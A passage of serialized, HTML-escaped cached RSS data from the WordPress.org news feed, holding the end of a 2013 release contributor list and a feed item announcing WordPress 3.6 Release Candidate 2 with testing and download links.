Sweater)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/daniloercoli\&quot;&gt;daniloercoli&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dannydehaan\&quot;&gt;Danny de Haan&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/csixty4\&quot;&gt;Dave Ross&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dfavor\&quot;&gt;David Favor&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jdtrower\&quot;&gt;David Trower&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/davidwilliamson\&quot;&gt;David Williamson&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dd32\&quot;&gt;Dion Hulse&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dllh\&quot;&gt;dllh&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ocean90\&quot;&gt;Dominik Schilling (ocean90)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dovyp\&quot;&gt;dovyp&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/drewapicture\&quot;&gt;Drew Jaynes (DrewAPicture)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dvarga\&quot;&gt;dvarga&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/cais\&quot;&gt;Edward Caissie&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/elfin\&quot;&gt;elfin&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/empireoflight\&quot;&gt;Empireoflight&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ericlewis\&quot;&gt;Eric Andrew Lewis&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ethitter\&quot;&gt;Erick Hitter&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ericmann\&quot;&gt;Eric Mann&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/evansolomon\&quot;&gt;Evan Solomon&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/faishal\&quot;&gt;faishal&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/feedmeastraycat\&quot;&gt;feedmeastraycat&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/frank-klein\&quot;&gt;Frank Klein&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/f-j-kaiser\&quot;&gt;Franz Josef Kaiser&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/fstop\&quot;&gt;FStop&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mintindeed\&quot;&gt;Gabriel Koen&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/garyc40\&quot;&gt;Gary Cao&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/garyj\&quot;&gt;Gary Jones&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/gcorne\&quot;&gt;gcorne&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/geertdd\&quot;&gt;GeertDD&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/soulseekah\&quot;&gt;Gennady Kovshenin&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/georgestephanis\&quot;&gt;George Stephanis&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/gish\&quot;&gt;gish&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tivnet\&quot;&gt;Gregory Karpinsky&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/hakre\&quot;&gt;hakre&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/hbanken\&quot;&gt;hbanken&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/hebbet\&quot;&gt;hebbet&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/helen\&quot;&gt;Helen Hou-Sandi&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/helgatheviking\&quot;&gt;helgatheviking&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/hirozed\&quot;&gt;hirozed&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/hurtige\&quot;&gt;hurtige&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/hypertextranch\&quot;&gt;hypertextranch&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/iandunn\&quot;&gt;Ian Dunn&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ipstenu\&quot;&gt;Ipstenu (Mika Epstein)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jakub\&quot;&gt;jakub&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/h4ck3rm1k3\&quot;&gt;James Michael DuPont&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jbutkus\&quot;&gt;jbutkus&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jeremyfelt\&quot;&gt;Jeremy Felt&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jerrysarcastic\&quot;&gt;Jerry Bates (JerrySarcastic)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jayjdk\&quot;&gt;Jesper Johansen (Jayjdk)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/joehoyle\&quot;&gt;Joe Hoyle&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/joen\&quot;&gt;Joen Asmussen&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jkudish\&quot;&gt;Joey Kudish&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/johnbillion\&quot;&gt;John Blackbourn (johnbillion)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/johnjamesjacoby\&quot;&gt;John James Jacoby&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jond3r\&quot;&gt;Jonas Bolinder (jond3r)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/desrosj\&quot;&gt;Jonathan Desrosiers&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jonbishop\&quot;&gt;Jon Bishop&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/duck_\&quot;&gt;Jon Cave&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jcastaneda\&quot;&gt;Jose Castaneda&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/josephscott\&quot;&gt;Joseph Scott&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jvisick77\&quot;&gt;Josh Visick&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jrbeilke\&quot;&gt;jrbeilke&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jrf\&quot;&gt;jrf&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/devesine\&quot;&gt;Justin de Vesine&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/justinsainton\&quot;&gt;Justin Sainton&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/kadamwhite\&quot;&gt;kadamwhite&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/trepmal\&quot;&gt;Kailey (trepmal)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/karmatosed\&quot;&gt;karmatosed&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ryelle\&quot;&gt;Kelly Dwan&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/keoshi\&quot;&gt;keoshi&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/kovshenin\&quot;&gt;Konstantin Kovshenin&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/obenland\&quot;&gt;Konstantin Obenland&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ktdreyer\&quot;&gt;ktdreyer&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/kurtpayne\&quot;&gt;Kurt Payne&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/kwight\&quot;&gt;kwight&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/lancewillett\&quot;&gt;Lance Willett&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/leewillis77\&quot;&gt;Lee Willis (leewillis77)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/lessbloat\&quot;&gt;lessbloat&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/settle\&quot;&gt;Mantas Malcius&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/maor\&quot;&gt;Maor Chasen&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/macbrink\&quot;&gt;Marcel Brinkkemper&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/marcuspope\&quot;&gt;MarcusPope&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mark-k\&quot;&gt;Mark-k&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/markjaquith\&quot;&gt;Mark Jaquith&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/markmcwilliams\&quot;&gt;Mark McWilliams&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/markoheijnen\&quot;&gt;Marko Heijnen&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mjbanks\&quot;&gt;Matt Banks&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mboynes\&quot;&gt;Matthew Boynes&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/matthewruddy\&quot;&gt;MatthewRuddy&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mattwiebe\&quot;&gt;Matt Wiebe&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/maxcutler\&quot;&gt;Max Cutler&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/melchoyce\&quot;&gt;Mel Choyce&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mgibbs189\&quot;&gt;mgibbs189&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/fanquake\&quot;&gt;Michael&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mdawaffe\&quot;&gt;Michael Adams (mdawaffe)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tw2113\&quot;&gt;Michael Beckwith&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mfields\&quot;&gt;Michael Fields&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mikehansenme\&quot;&gt;Mike Hansen&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dh-shredder\&quot;&gt;Mike Schroder&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dimadin\&quot;&gt;Milan Dinic&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mitchoyoshitaka\&quot;&gt;mitcho (Michael Yoshitaka Erlewine)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/batmoo\&quot;&gt;Mohammad Jangda&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/najamelan\&quot;&gt;najamelan&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/Nao\&quot;&gt;Naoko Takano&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/alex-ye\&quot;&gt;Nashwan Doaqan&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/niallkennedy\&quot;&gt;Niall Kennedy&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/nickdaugherty\&quot;&gt;Nick Daugherty&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/celloexpressions\&quot;&gt;Nick Halsey&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ninnypants\&quot;&gt;ninnypants&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/norcross\&quot;&gt;norcross&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/paradiseporridge\&quot;&gt;ParadisePorridge&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/pauldewouters\&quot;&gt;Paul&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/pdclark\&quot;&gt;Paul Clark&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/pavelevap\&quot;&gt;pavelevap&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/petemall\&quot;&gt;Pete Mall&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/westi\&quot;&gt;Peter Westwood&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/phill_brown\&quot;&gt;Phill Brown&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mordauk\&quot;&gt;Pippin Williamson&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/pollett\&quot;&gt;Pollett&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/nprasath002\&quot;&gt;Prasath Nadarajah&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/programmin\&quot;&gt;programmin&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/rachelbaker\&quot;&gt;rachelbaker&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ramiy\&quot;&gt;Rami Yushuvaev&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/redpixelstudios\&quot;&gt;redpixelstudios&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/reidburke\&quot;&gt;reidburke&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/retlehs\&quot;&gt;retlehs&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/greuben\&quot;&gt;Reuben Gunday&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/rlerdorf\&quot;&gt;rlerdorf&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/rodrigosprimo\&quot;&gt;Rodrigo Primo&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/roulandf\&quot;&gt;roulandf&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/rovo89\&quot;&gt;rovo89&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ryanduff\&quot;&gt;Ryan Duff&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ryanhellyer\&quot;&gt;Ryan Hellyer&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/rmccue\&quot;&gt;Ryan McCue&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/zeo\&quot;&gt;Safirul Alredha&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/saracannon\&quot;&gt;sara cannon&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/scholesmafia\&quot;&gt;scholesmafia&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/sc0ttkclark\&quot;&gt;Scott Kingsley Clark&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/coffee2code\&quot;&gt;Scott Reilly&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/wonderboymusic\&quot;&gt;Scott Taylor&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/scribu\&quot;&gt;scribu&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tenpura\&quot;&gt;Seisuke Kuraishi (tenpura)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/sergej\&quot;&gt;Sergej&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/sergeybiryukov\&quot;&gt;Sergey Biryukov&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/sim\&quot;&gt;Simon Hampel&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/simonwheatley\&quot;&gt;Simon Wheatley&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/siobhan\&quot;&gt;Siobhan&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/sirzooro\&quot;&gt;sirzooro&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/slene\&quot;&gt;slene&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/solarissmoke\&quot;&gt;solarissmoke&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/srinig\&quot;&gt;SriniG&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/stephenh1988\&quot;&gt;Stephen Harris&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/storkontheroof\&quot;&gt;storkontheroof&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/sunnyratilal\&quot;&gt;Sunny Ratilal&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/sweetie089\&quot;&gt;sweetie089&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tar\&quot;&gt;Tar&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tlovett1\&quot;&gt;Taylor Lovett&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/thomasvanderbeek\&quot;&gt;Thomas van der Beek&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/n7studios\&quot;&gt;Tim Carr&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tjsingleton\&quot;&gt;tjsingleton&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tobiasbg\&quot;&gt;TobiasBg&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/toscho\&quot;&gt;toscho&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/taupecat\&quot;&gt;Tracy Rotton&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/travishoffman\&quot;&gt;TravisHoffman&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/uuf6429\&quot;&gt;uuf6429&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/lightningspirit\&quot;&gt;Vitor Carvalho&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/wojtek\&quot;&gt;wojtek&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/wpewill\&quot;&gt;wpewill&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/wraithkenny\&quot;&gt;WraithKenny&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/wycks\&quot;&gt;wycks&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/xibe\&quot;&gt;Xavier Borderie&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/yoavf\&quot;&gt;Yoav Farhi&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/thelastcicada\&quot;&gt;Zachary Brown&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tollmanz\&quot;&gt;Zack Tollman&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/zekeweeks\&quot;&gt;zekeweeks&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ziegenberg\&quot;&gt;ziegenberg&lt;/a&gt;, and &lt;a href=\&quot;http://profiles.wordpress.org/viniciusmassuchetto\&quot;&gt;viniciusmassuchetto&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Time to upgrade!&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;http://wordpress.org/news/2013/08/oscar/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:9;a:6:{s:4:\&quot;data\&quot;;s:45:\&quot;\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:5:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;WordPress 3.6 Release Candidate 2\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:68:\&quot;http://wordpress.org/news/2013/07/wordpress-3-6-release-candidate-2/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:77:\&quot;http://wordpress.org/news/2013/07/wordpress-3-6-release-candidate-2/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 24 Jul 2013 07:25:10 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:2:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;Development\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:7:\&quot;Testing\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;http://wordpress.org/news/?p=2649\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:341:\&quot;The second release candidate for WordPress 3.6 is now available for download and testing. We&amp;#8217;re down to only a few remaining issues, and the final release should be available in a matter of days. In RC2, we&amp;#8217;ve tightened up some aspects of revisions, autosave, and the media player, and fixed some bugs that were spotted [&amp;#8230;]\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;Mark Jaquith\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1325:\&quot;&lt;p&gt;The second release candidate for WordPress 3.6 is now available for download and testing.&lt;/p&gt;\n&lt;p&gt;We&amp;#8217;re down to only a few remaining issues, and the final release should be available in a matter of days. In RC2, we&amp;#8217;ve tightened up some aspects of revisions, autosave, and the media player, and fixed some bugs that were spotted in RC1. Please test this release candidate as much as you can, so we can deliver a smooth final release!&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Think you&amp;#8217;ve found a bug?&lt;/strong&gt; Please post to the &lt;a href=\&quot;http://wordpress.org/support/forum/alphabeta/\&quot;&gt;Alpha/Beta area in the support forums&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Developers,&lt;/strong&gt; please continue to test your plugins and themes, so that if there is a compatibility issue, we can figure it out before the final release. You can find our &lt;a href=\&quot;http://core.trac.wordpress.org/report/6\&quot;&gt;list of known issues here&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;To test WordPress 3.6, try the &lt;a href=\&quot;http://wordpress.org/extend/plugins/wordpress-beta-tester/\&quot;&gt;WordPress Beta Tester&lt;/a&gt; plugin (you&amp;#8217;ll want &amp;#8220;bleeding edge nightlies&amp;#8221;). Or you can &lt;a href=\&quot;http://wordpress.org/wordpress-3.6-RC2.zip\&quot;&gt;download the release candidate here (zip)&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;&lt;em&gt;Revisions so smooth&lt;/em&gt;&lt;br /&gt;\n&lt;em&gt;We autosave your changes&lt;/em&gt;&lt;br /&gt;\n&lt;em&gt;Data loss begone!&lt;/em&gt;&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:73:\&quot;http://wordpress.org/news/2013/07/wordpress-3-6-release-candidate-2/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}}}s:27:\&quot;http://www.w3.org/2005/Atom\&quot;;a:1:{s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:3:{s:4:\&quot;href\&quot;;s:31:\&quot;http://wordpress.org/news/feed/\&quot;;s:3:\&quot;rel\&quot;;s:4:\&quot;self\&quot;;s:4:\&quot;type\&quot;;s:19:\&quot;application/rss+xml\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:44:\&quot;http://purl.org/rss/1.0/modules/syndication/\&quot;;a:2:{s:12:\&quot;updatePeriod\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;hourly\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b